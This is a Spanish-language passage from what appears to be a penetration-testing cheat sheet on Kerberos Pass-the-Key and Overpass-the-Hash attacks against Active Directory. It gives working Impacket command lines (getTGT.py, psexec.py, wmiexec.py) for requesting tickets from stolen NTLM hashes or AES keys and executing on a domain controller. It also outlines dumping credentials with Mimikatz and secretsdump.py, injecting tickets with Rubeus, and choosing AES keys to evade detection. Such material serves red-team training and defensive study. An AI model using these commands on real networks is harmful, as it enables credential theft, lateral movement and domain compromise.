getTGT.py DOMAIN.LOCAL/<usuario> -aesKey <AES256_KEY> -dc-ip <IP_DC>

El ticket se guarda como <usuario>.ccache.

Exportar y usar ​

bash
export KRB5CCNAME=./<usuario>.ccache
klist

# Acceder con psexec
psexec.py -k -no-pass DOMAIN.LOCAL/<usuario>@dc01.domain.local

# Especificando IPs
psexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_target> DOMAIN.LOCAL/<usuario>@DC01

# Con wmiexec
wmiexec.py -k -no-pass DOMAIN.LOCAL/<usuario>@dc01.domain.local

Diferencia entre Overpass-the-Hash y Pass-the-Key ​

  • Overpass-the-Hash — Usa el hash RC4/NTLM para pedir el TGT. Kerberos acepta RC4 para compatibilidad con versiones antiguas, pero puede generar alertas en entornos modernos porque no es el cifrado por defecto.
  • Pass-the-Key — Usa la clave AES256 o AES128. Es el cifrado que usa Kerberos por defecto en dominios modernos, por lo que el tráfico es indistinguible de una autenticación legítima. Más sigiloso.

Diferencia con Pass-the-Hash (NTLM) ​

  • Pass-the-Hash — El hash NTLM se envía directamente al servidor vía protocolo NTLM. No usa Kerberos. Más detectable en entornos con NTLM monitorado o restringido.
  • Overpass-the-Hash — El hash NTLM se usa para pedir un TGT Kerberos. A partir de ese punto todo el tráfico es Kerberos. Funciona aunque NTLM esté restringido para el acceso a recursos.

Verificar el ticket obtenido ​

cmd
# Windows
klist

# Linux
klist -c <usuario>.ccache

Resumen del flujo (Windows) ​

  • Obtener hash NTLM o clave AES con Mimikatz (sekurlsa::logonpasswords)
  • Pedir TGT con Rubeus asktgt /rc4:<NTHASH> /ptt o /aes256:<KEY> /ptt
  • Verificar con klist
  • Acceder a recursos del dominio con el ticket inyectado

Resumen del flujo (Linux) ​

  • Obtener hash o clave con secretsdump.py
  • Pedir TGT con getTGT.py -hashes :<NTHASH> o -aesKey <KEY>
  • Exportar con export KRB5CCNAME=./<usuario>.ccache
  • Acceder con psexec.py -k -no-pass o wmiexec.py -k -no-pass